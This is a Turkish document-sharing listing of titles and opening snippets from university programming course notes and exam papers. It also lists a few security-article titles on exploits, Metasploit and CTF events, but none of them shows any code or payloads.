Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi Bil101 Bilgisayar Yazılımı I Bilgisayar Yüksek Mühendisi Editör Disk 1)Kaynak kodlar editör aracılığı ile oluşturulur. (.c) Kaynak dosya Önişleyici Disk 2)Önişleyici kodlar içerisindeki ilk işleme işini

Detaylı

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0 Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Bitirme Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 01.06.2017 Süre : 60 dak. 1. t değişkeni hakkında aşağıdakilerden

Detaylı

Yrd. Doç. Dr. Caner ÖZCAN

Yrd. Doç. Dr. Caner ÖZCAN Yrd. Doç. Dr. Caner ÖZCAN Diziler ile Pointer Arası İlişki Bir dizi adı sabit bir pointer gibi düşünülebilir. Diziler ile pointer lar yakından ilişkilidir. Pointer lar değişkenleri gösterdikleri gibi,

Detaylı

BBM 341 Sistem Programlama

BBM 341 Sistem Programlama Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BBM 341 Sistem Programlama Ara Sınav Tarih: 19 Kasım 2012 Süre: 105 dak. Sınava başlamadan

Detaylı

KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr)

KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr) KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr) 1. Kendisine gönderilen iki karakter dizisini birleştirip geriye tek bir dizi döndüren ve

Detaylı

Yrd. Doç. Dr. Caner ÖZCAN

Yrd. Doç. Dr. Caner ÖZCAN Yrd. Doç. Dr. Caner ÖZCAN Fonksiyonu Referans ile Çağırma (Call by Reference) Bir fonksiyona gönderilen parametrenin normalde değeri değişmez. Fonksiyon içinde yapılan işlemlerin hiçbiri argüman değişkeni

Detaylı

SIMAN KULLANIM KILAVUZU

SIMAN KULLANIM KILAVUZU SIMAN KULLANIM KILAVUZU Önder Öndemir SIMAN Simülasyon programı Model Çatı ve Deneysel Çatı olmak üzere iki kısımdan oluşur. Model çatı genel itibariyle modullerin ve işlem bloklarının yazıldığı kısımdır.

Detaylı

BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN

BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN Basit C Programları: Bir Metni Yazdırmak #include /* program çalışmaya main fonksiyonundan başlar*/ int main() { printf( "C diline hoşgeldiniz!\n"

Detaylı

Telefon Rehberi Uygulaması

Telefon Rehberi Uygulaması Sayfa1 Telefon Rehberi Uygulaması Uygulama, temel düzeyde, telefon rehberi üzerinedir. Kullanıcı, telefon rehberine eklediği her bir kayıt içi ad, soyad, ev telefonu ve üç adet cep telefonu bilgisi girebilmektedir.

Detaylı

BİL 220 Sistem Programlamaya Giriş

BİL 220 Sistem Programlamaya Giriş Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 S6 S7 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Ara Sınav 1 Tarih: 29 Mart 2012 Süre: 140 dak.

Detaylı

Fonksiyonlar. C++ ve NESNEYE DAYALI PROGRAMLAMA 51. /* Fonksiyon: kup Bir tamsayının küpünü hesaplar */ long int kup(int x) {

Fonksiyonlar. C++ ve NESNEYE DAYALI PROGRAMLAMA 51. /* Fonksiyon: kup Bir tamsayının küpünü hesaplar */ long int kup(int x) { Fonksiyonlar Kendi içinde bağımsız olarak çalışabilen ve belli bir işlevi yerine getiren program modülleridir. C programları bu modüllerden (fonksiyonlar) oluşurlar. Fonksiyonların yazılmasındaki temel

Detaylı

BLM 112- Programlama Dilleri II. Hafta 5 İşaretçiler (Pointers)

BLM 112- Programlama Dilleri II. Hafta 5 İşaretçiler (Pointers) 1 BLM 112- Programlama Dilleri II Hafta 5 İşaretçiler (Pointers) Dr. Öğr. Üyesi Caner Özcan Hiç hata yapmayan insan, hiçbir şey yapmayan insandır. Ve hayatta en büyük hata, kendini hatasız sanmaktır. ~Y.

Detaylı

BLM 111 ALGORİTMA VE PROGRAMLAMA I

BLM 111 ALGORİTMA VE PROGRAMLAMA I 1 BLM 111 ALGORİTMA VE PROGRAMLAMA I DİZİLER (ARRAYS) Kullanıcıdan N tane tamsayı, xi, alalım ve 1. Bu sayıların ortalamasını hesaplamak isteyelim ort = 0; for (i=0; i

Detaylı

Temel Bilgisayar Programlama Final Sınavı Çalışma Notları

Temel Bilgisayar Programlama Final Sınavı Çalışma Notları Diziler Temel Bilgisayar Programlama Final Sınavı Çalışma Notları (Dr. Övünç ÖZTÜRK, Dr. Tahir Emre KALAYCI) (İnşaat Mühendisliği ve Gıda Mühendisliği Grupları İçin) Diziler aynı türden bilgileri saklamak

Detaylı

HSancak Nesne Tabanlı Programlama I Ders Notları

HSancak Nesne Tabanlı Programlama I Ders Notları DİZİLER Bellekte ard arda yer alan aynı türden nesneler kümesine dizi (array) denilir. Bir dizi içerisindeki bütün elemanlara aynı isimle ulaşılır. Yani dizideki bütün elemanların isimleri ortaktır. Elemanlar

Detaylı

Hafta 12 Karakter Tutan Diziler

Hafta 12 Karakter Tutan Diziler BLM111 Programlama Dilleri I Hafta 12 Karakter Tutan Diziler Yrd. Doç. Dr. Caner ÖZCAN Katar (String) Tanımlama Dizileri ve çok boyutlu dizileri gördük. Katar dediğimiz şey de aslında bir dizidir. Değişken

Detaylı

INTEGER OVERFLOW ***************************************************************/

INTEGER OVERFLOW ***************************************************************/ INTEGER OVERFLOW BELGE HAKKINDA Bu belge "GNU Free Documentation Licence" ile kaynak gösterilmek ve önceden yazarından izin alınmak kaydıyla yeniden yayınlanabilir. Bu belgedeki eksik, yanlış ya da geliştirilmesi

Detaylı

GENEL GĐRĐŞ-ÇIKIŞ FONKSĐYONLARI. ENF102 Jeoloji 1. #include <stdio.h> printf Fonksiyonu ÖRNEK. printf

GENEL GĐRĐŞ-ÇIKIŞ FONKSĐYONLARI. ENF102 Jeoloji 1. #include <stdio.h> printf Fonksiyonu ÖRNEK. printf Giriş GENEL GĐRĐŞ-ÇIKIŞ FONKSĐYONLARI printf Fonksiyonu scanf Fonksiyonu Verilerin kaybolmaması için hafızada değişkenler içine yerleştirilmeleri gerekir. Bu veriler iki şekilde yerleştirilebilir. Değişkene

Detaylı

C dilinde if-else yapısı

C dilinde if-else yapısı C dilinde if- yapısı Merhaba arkadaşlar, bu başlık altında sizlere koşullu ifadelerden bahsedeceğim. Peki nedir bu koşullu ifadeler(if, if, )? Bunu bir koşulun gerçekleşmesine bağlı olarak gerçekleşen

Detaylı

BM-209 Nesne Yönelimli Programlama. Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü

BM-209 Nesne Yönelimli Programlama. Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü BM-209 Nesne Yönelimli Programlama Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü Java Programlama Dili Java bayt kodları Java Sanal Makineleri üzerinde

Detaylı

8086 Mikroişlemcisi Komut Seti

8086 Mikroişlemcisi Komut Seti 8086 Mikroişlemcisi Komut Seti X86 tabanlı mikroişlemcilerin icra ettiği makine kodları sabit olmasına rağmen, programlama dillerinin komut ve ifadeleri farklı olabilir. Assembly programlama dilininde

Detaylı

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar LABİRENT HAZIRLAYAN 122132151 Fahri DÖNMEZ DANIŞMAN

Detaylı

C Programlama Dilinde Değişkenler

C Programlama Dilinde Değişkenler C Programlama Dilinde Değişkenler Değişkenler bir programlama dilinin en önemli bileşenlerindendir. En basit bir aritmetik işlemin bile kullanıcının girdiği değerleri saklamak için çeşitlik bellek alanlarına

Detaylı

Sınav tarihi : Süre : 60 dak.

Sınav tarihi : Süre : 60 dak. Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Final Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 31.05.2016 Süre : 60 dak. 1. Ekranda ne görüntülenir? int i =

Detaylı

Akış Şeması (Flowchart) nedir? C Programlamaya giriş için yol haritası

Akış Şeması (Flowchart) nedir? C Programlamaya giriş için yol haritası Akış Şeması (Flowchart) nedir? Akış Şeması (Flowchart) nedir? Algoritma nedir? Algoritma nedir? C Programlamaya giriş için yol haritası C programlamaya başlangıç için tavsiye edilen yol haritası aşağıdaki

Detaylı

Kabuk Programlama (Bash)

Kabuk Programlama (Bash) Kabuk Programlama (Bash) Erkan Esmer Ocak, 2013 İçindekiler 1 Giriş.................................................... 2 2 Kabuk(Shell)............................................... 3 3 Çekirdek(Kernel).............................................

Detaylı

Özyineleme (Recursion)

Özyineleme (Recursion) C PROGRAMLAMA Özyineleme (Recursion) Bir fonksiyonun kendisini çağırarak çözüme gitmesine özyineleme (recursion), böyle çalışan fonksiyonlara da özyinelemeli (recursive) fonksiyonlar denilir. Özyineleme,

Detaylı

BLM-112 PROGRAMLAMA DİLLERİ II. Ders-3 İşaretçiler (Pointer) (Kısım-2)

BLM-112 PROGRAMLAMA DİLLERİ II. Ders-3 İşaretçiler (Pointer) (Kısım-2) BLM-112 PROGRAMLAMA DİLLERİ II Ders-3 İşaretçiler (Pointer) (Kısım-2) Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Dinamik Bellek Yönetimi Bir program çalıştırıldığında

Detaylı

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. 1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. [10 puan] int param = 30; int result = 300; if (param > 45) result

Detaylı

PROGRAMLAMAYA GİRİŞ FONKSİYONLAR

PROGRAMLAMAYA GİRİŞ FONKSİYONLAR PROGRAMLAMAYA GİRİŞ FONKSİYONLAR Fonksiyonlar C programlama dili fonksiyon olarak adlandırılan alt programların birleştirilmesi kavramına dayanır. Bir C programı bir ya da daha çok fonksiyonun bir araya

Detaylı

Qt ile Bir Ağ Uygulaması

Qt ile Bir Ağ Uygulaması Qt ile Bir Ağ Uygulaması Aykut Aksoy aykutaksoy@myway.com sürüm 1.0 Özet Bu belge Qt ile hazırlanmış bir ağ uygulamasını anlatır. C++ bilinmesi beklenir. Bu belgede "QProcess.h" kütüphanesine ağırlık verilmiştir.

Detaylı

Diziler (Arrays) Çok Boyutlu Diziler

Diziler (Arrays) Çok Boyutlu Diziler Diziler (Arrays) Çok Boyutlu Diziler ÇOK BOYUTLU DİZİLER Birden fazla indis numarası ile elemanlarına ulaşılan dizilere çok boyutlu diziler denir. Bunlardan en sık kullanılanı çift boyutlu dizilerdir.

Detaylı

8. İŞARETCİLER (POINTERS)

8. İŞARETCİLER (POINTERS) 8. İŞARETCİLER (POINTERS) Verilerin bilgisayar hafızasında tutulduğu fiziki alan adres olarak tanımlanabilir. Adres, hem donanımla hem de yazılımla ilişkilidir. Donanımsal açıdan adres bellekte yer gösteren

Detaylı

Diziler. Yrd.Doç.Dr.Bülent ÇOBANOĞLU

Diziler. Yrd.Doç.Dr.Bülent ÇOBANOĞLU Diziler Yrd.Doç.Dr.Bülent ÇOBANOĞLU Dizi (Array) Nedir? Bellekte sürekli yer kaplayan artarda sıralanmış aynı türden verilerin oluşturduğu kümeye dizi (array) denir. Dizi, çok fazla miktardaki tek tip

Detaylı

Giriş. ENF102 Jeoloji

Giriş. ENF102 Jeoloji DİZİLER Arrays Giriş Aynı isim altında, aynı türde birden fazla değer tutmak için kullanılan veri yapılarıdır (Data Structure). Dizi bir kümedir; aynı türde verilere tek bir isimle erişmek için kullanılır.

Detaylı

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

Uzaktan Eğitim Uygulama ve Araştırma Merkezi JAVA PROGRAMLAMA Öğr. Gör. Utku SOBUTAY İÇERİK 2 Java da Fonksiyon Tanımlamak Java da Döngüler Java da Şart İfadeleri Uygulamalar Java da Fonksiyon Tanımlamak JAVA DA FONKSİYON TANIMLAMAK 4 Fonksiyonlar;

Detaylı

FONKSİYONLAR. Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır.

FONKSİYONLAR. Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır. C PROGRAMLAMA FONKSİYONLAR Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır. Daha büyük programlar yazmanın en kolay yolu onları küçük parçalar halinde yazıp sonra

Detaylı

C Programlama printf() Fonksiyonu

C Programlama printf() Fonksiyonu C Programlama printf() Fonksiyonu Standart C kütüphanesinin bir parçası olan printf() C Programlama Dili'nin genel amaçlı çıktı alma fonksiyonudur. Girdi ve çıktı deyimleri gerçekte C dilinin bir parçası

Detaylı

Fonksiyonlar (Altprogram)

Fonksiyonlar (Altprogram) Fonksiyonlar (Altprogram) C Programlama Dili fonksiyon olarak adlandırılan alt programların birleştirilmesi kavramına dayanır. Bir C programı bir ya da daha çok fonksiyonun bir araya gelmesi ile oluşur.

Detaylı

Metasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat

Metasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat Metasploit Framework ile Exploit Geliştirme Fatih Özavcı Canberk Bolat Bilgi Güveniği Danışmanı Güvenlik Araştırmacısı fatih.ozavci at gamasec.net canberk.bolat at gmail dotcom gamasec.net/fozavci cbolat.blogspot.com

Detaylı

Exploit.CVE-2012-0003 Analizi

Exploit.CVE-2012-0003 Analizi Exploit.CVE-2012-0003 Analizi Celil ÜNÜVER cunuver [at] signalsec.com www.signalsec.com Hackerların yer altı dünyasında Patch Tuesday, Exploit Wednesday diye bir söz vardır. Microsoft Salı günü yamaları

Detaylı

BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET

BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER BLM401 Dr.Refik SAMET 1 GİRİŞ (1/3) Güvenlik, verilerin veya bilgilerin saklanması, kullanılması ve taşınması esnasında bilgilerin

Detaylı

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar İki Yönlü Bağlantılı Liste Uygulaması HAZIRLAYAN

Detaylı

İstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER

İstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER DİZİLER Dizi Nedir? Aynı türden nesnelerin oluşturduğu, bellekte bitişik bir biçimde bulunan veri yapısına dizi denir.mesela alfabe diye bir dizi tanımlarız, harfleri a,b,c,d... diye sıralarız.dizinin

Detaylı

JSON Korsanlığı. Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı

JSON Korsanlığı. Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı JSON Korsanlığı Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı İnternetin gün geçtikçe hayatımızdaki önemi arttı ve web siteleri milyonlarca insan tarafından girilen yerler haline geldi. Artık çevremizden

Detaylı

Programlama Dilleri 1. Ders 4: Diziler

Programlama Dilleri 1. Ders 4: Diziler Programlama Dilleri 1 Ders 4: Diziler Genel Bakış Tanım Dizilerin tanımlanması Dizilere ilk değer verilmesi Yerel ve Global diziler Dizilerin birbirine atanması Diziler ile ilgili örnekler Çalışma soruları

Detaylı

BİL-142 Bilgisayar Programlama II

BİL-142 Bilgisayar Programlama II BİL-142 Bilgisayar Programlama II (C/C++) Hazırlayan: M.Ali Akcayol Gazi Üniversitesi Bilgisayar Mühendisliği Bölümü Konular Giriş Sınıflar, Nesneler, Fonksiyon ve Veri Üyeleri Sınıf ve Fonksiyon Üyeleri

Detaylı

Adresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar

Adresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar Adresleme Modları 1 Adresleme Modları İşlenenin nerede olacağını belirtmek için kullanılırlar. Kod çözme aşamasında adresleme yöntemi belirlenir ve işlenenin nerede bulunacağı hesaplanır. Mikroişlemcide

Detaylı

YAPILAR BİRLİKLER SAYMA SABİTLERİ/KÜMELERİ. 3. Hafta

YAPILAR BİRLİKLER SAYMA SABİTLERİ/KÜMELERİ. 3. Hafta YAPILAR BİRLİKLER SAYMA SABİTLERİ/KÜMELERİ 3. Hafta YAPILAR Farklı veri tipindeki bilgilerin bir araya gelerek oluşturdukları topluluklara yapı (structure) denir. Yani yapılar, birbiriyle ilişkili değişkenlerin

Detaylı

/ C Bilgisayar Programlama Yıliçi Sınavı Test Soruları. Adı soyadı :... Öğrenci no :... İmza :... Tarih, Süre : , 60 dak.

/ C Bilgisayar Programlama Yıliçi Sınavı Test Soruları. Adı soyadı :... Öğrenci no :... İmza :... Tarih, Süre : , 60 dak. Selçuk Üniversitesi Mühendislik-Mimarlık Fakültesi Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları dı soyadı :... Öğrenci no :... İmza :... Tarih, Süre :26.11.2012, 60 dak. Dikkat!!! Soru kitapçığında

Detaylı

Bölüm 3: Adresleme Modları. Chapter 3: Addressing Modes

Bölüm 3: Adresleme Modları. Chapter 3: Addressing Modes Bölüm 3: Adresleme Modları Chapter 3: Addressing Modes 3 1 Veri Adresleme Modları MOV komutu veriyi bir bellek satırından diğer bellek satırına yada yazaca kopyalar Kaynak (source) verilin okunacağı belleğin

Detaylı

ÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER

ÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER ÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER // 5 adet ogrenci icin 8 adet sinavi // temsil etmesi icin bir ogrenci tablosu // olusturuyoruz. Bunun icin 5x8 bir matris // yaratilmasi

Detaylı

int faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); }

int faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); } FONKSİYONLAR Fonksiyon, programcı tarafından seçilen bir kod bloğuna isim vermek için kullanılan araçtır. Fonksiyon ismi program içerisinde çağrıldığında fonksiyonun temsil ettiği kod çalıştırılır. Örneğin

Detaylı

Çoktan Seçmeli Değerlendirme Soruları Akış Şemaları İle Algoritma Geliştirme Örnekleri Giriş 39 1.Gündelik Hayattan Algoritma Örnekleri 39 2.Say

Çoktan Seçmeli Değerlendirme Soruları Akış Şemaları İle Algoritma Geliştirme Örnekleri Giriş 39 1.Gündelik Hayattan Algoritma Örnekleri 39 2.Say İÇİNDEKİLER 1. Bilgisayarın Yapısı Ve Programlama Dilleri Giriş 1 Bilgisayar ve Programlamanın Kısa Bir Tarihçesi 2 Donanım ve Yazılım Kavramları 3 Bilgisayarın Donanımsal yapısı 4 Giriş Birimi (Input

Detaylı

C# nedir,.net Framework nedir?

C# nedir,.net Framework nedir? 1 C# nedir,.net Framework nedir? C# nedir? C#, C/C++ ve Java dillerinde türetilmiş,bu dillerin dezavantajlarının elenip iyi yönlerinin alındığı, güçlü basit, esnek, tip-güvenli(typesafe,tür dönüşümlerindeki

Detaylı

Sınav tarihi : Süre : 60 dak. a) ABCDE b) BCDE c) ABCD d) kod hatalı e) BCD

Sınav tarihi : Süre : 60 dak. a) ABCDE b) BCDE c) ABCD d) kod hatalı e) BCD Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 13.04.2015 Süre : 60 dak. 1. Hangisi gerçek sayı değişmezi değildir?

Detaylı

Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net

Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Bilgisayar Programlama Ders 1 Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Bilgisayar Programlamaya C ile Programlamaya Yazılım: Bilgisayarın işlemler yapması ve karar vermesi

Detaylı

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 Bilgisayar i Mimarisii i Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 İZMIR ÜNIVERSITESI İZMIR ÜNIVERSITESI MYO BILGISAYAR PROGRAMLAMA

Detaylı

C Konsol ve Komut Satırı

C Konsol ve Komut Satırı C Konsol ve Komut Satırı Öğr. Gör. M. Ozan AKI Rev 1.0 C:\> Konsol ekranı, işletim sistemi ve dosya yönetiminin metin tabanlı yönetilebilmesini sağlayan arabirimdir. Windows işletim sistemi ortaya çıkmadan

Detaylı

KONTROL VE OTOMASYON KULÜBÜ

KONTROL VE OTOMASYON KULÜBÜ KONTROL VE OTOMASYON KULÜBÜ C DİLİ İLE MİKROKONTROLÖR PROGRAMLAMA EĞİTİMİ Serhat Büyükçolak Ahmet Sakallı 2009-2010 Güz Dönemi Eğitimleri Mikrokontrolör Gömülü sistemlerin bir alt dalı olan mikrokontrolör

Detaylı

Öğr. Gör. Serkan AKSU http://www.serkanaksu.net. http://www.serkanaksu.net/ 1

Öğr. Gör. Serkan AKSU http://www.serkanaksu.net. http://www.serkanaksu.net/ 1 Öğr. Gör. Serkan AKSU http://www.serkanaksu.net http://www.serkanaksu.net/ 1 JavaScript JavaScript Nedir? Nestcape firması tarafından C dilinden esinlenerek yazılmış, Netscape Navigator 2.0 ile birlikte

Detaylı

CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI

CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI 07.07.2003 Burak DEMİRKOL Atılım BOY [v 1.0] Özet : Bu makalede CSD İşletim sisteminin sistem fonksiyonlarının user mod dan (ring 3) kernel mod

Detaylı

Python Programlama Dili

Python Programlama Dili Python Programlama Dili 3. Python da Döngüler Bu bölümde iki tane döngüden bahsedeceğiz: while ve for döngüleri. Ayrıca bu bölümde döngüler dışında break ve continue deyimleri ile range() ve len() fonksiyonlarına

Detaylı

DİZİLER-KATARLAR ALGORİTMA VE PROGRAMLAMA II

DİZİLER-KATARLAR ALGORİTMA VE PROGRAMLAMA II DİZİLER-KATARLAR ALGORİTMA VE PROGRAMLAMA II DİZİLER Dizi, aynı tipteki verilere tek bir isimle erişmek için kullanılan bir kümedir. Bir dizi bildirildikten sonra, dizinin bütün elemanları bellekte peşpeşe

Detaylı

Exploit Nedir, Nasıl Kullanılır?

Exploit Nedir, Nasıl Kullanılır? Exploit Nedir, Nasıl Kullanılır? İşletim sistemlerin çok kullanıcılı sistemlerde kullanılmaya başlamasıyla birlikte sistemlerde kullanıcıların yetkisi de sözkonusu olmuştur. Kişisel işletim Sistemlerinde

Detaylı

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş Kurulum için ilk önce Sun Microsystems in sitesinden uygun J2SE sürümünü indirin. Ben J2SE v1. 4. 2_16 Windows Installer paketini kullandım J2SE SDK Kurulumu aşağıdaki gibi başlayacaktır. 1 Kurulum tamamlandıktan

Detaylı

Denetim Masası/Programlar/Windows özelliklerini Aç/Kapat

Denetim Masası/Programlar/Windows özelliklerini Aç/Kapat Merhaba arkadaşlar, Bu yazımızda yerel ağda veya Ip adresimizle bir web sitesinin paylaşıma açılması, aynı ağdan veya uzaktan bir bilgisayarın web sitemize nasıl erişebileceği konuları üzerinde duracağız.

Detaylı

Şehmus POLAT Teknoloji Fakültesi

Şehmus POLAT Teknoloji Fakültesi Şehmus POLAT Teknoloji Fakültesi Elektrik-Elektronik Mühendisliği CTF Nedir? Capture the Flag (Bayrağı yakala), siber güvenlik alanında düzenlenen ve katılımcıların; kriptoloji, tersine mühendislik, log

Detaylı

Final Sınavı Soruları Güz, Süre: 90 Dakika

Final Sınavı Soruları Güz, Süre: 90 Dakika Manisa Celal Bayar Üniversitesi Yazılım Mühendisliği Bölümü YZM 1105- Algoritma ve Programlama I Final Sınavı Soruları Güz, 2018-2019 Süre: 90 Dakika Derse Kayıtlı Olduğunuz Grubun Öğretim Üyesini (X)

Detaylı

İNTERNET PROGRAMCILIĞI - II

İNTERNET PROGRAMCILIĞI - II 0 İÇİNDEKİLER Bölüm 1 PHP İle Web Programlamaya Giriş 1 Bölüm 2 PHP Kodlama Standartları 5 Bölüm 3 PHP Değişken Kullanımı 17 Bölüm 4 IF Yapısı 32 Bölüm 5 Döngüler ve Diziler 64 1 BÖLÜM 1 PHP İLE WEB PROGRAMLAMAYA

Detaylı

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach()

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach() (LOOPS) while(), do-while(), for(), foreach() Döngüler (loops) while do-while for foreach while ( koşul ) işlemler; do işlemler; while (koşul ); for (başlangıç ; koşul ; arttırma) işlemler; foreach ( tip

Detaylı

Android Ders Notları

Android Ders Notları Android Ders Notları 1. Yeni Bir Proje Başlatma Android Studio programında yeni bir proje başlatıyoruz. İlk olarak karşımıza resim 1 deki gibi bir pencere gelecek. Burada Application name kısmına proje

Detaylı

ESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN

ESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN ESM-361 Mikroişlemciler 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN Bit operatörleri Bit operatörleri bit düzeyinde işlem yapan operatörlerdir; yani sayıları bir bütün olarak değil, bit bit

Detaylı

Genel Programlama II

Genel Programlama II Genel Programlama II 22.03.2011 1 Yapılar ( Structures ) Yapılar ( structures ); tam sayı, karakter vb. veri tiplerini gruplayıp, tek bir çatı altında toplar. Bu gruplandırma içinde aynı ya da farklı veri

Detaylı

Hafta 13 Fonksiyonlar

Hafta 13 Fonksiyonlar BLM111 Programlama Dilleri I Hafta 13 Fonksiyonlar Yrd. Doç. Dr. Caner ÖZCAN Fonksiyonlar Fonksiyonlar C de modüller Programlar kullanıcı tanımlı fonksiyonları ve kütüphane fonksiyonlarını birlikte kullanırlar.

Detaylı

Temel Linux Eğitimi 1., 2. ve 3. Bölümler

Temel Linux Eğitimi 1., 2. ve 3. Bölümler Süha TUNA Bilişim Enstitüsü UHeM Yaz Çalıştayı - 11.06.2012 İçerik 1. Linux, Kavramlar ve Dizin Yapısı 2. Temel Linux Komutları 3. Sunucuya Uzaktan Bağlanma 1. Linux, Kavramlar ve Dizin Yapısı Linux Linux,

Detaylı

while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO

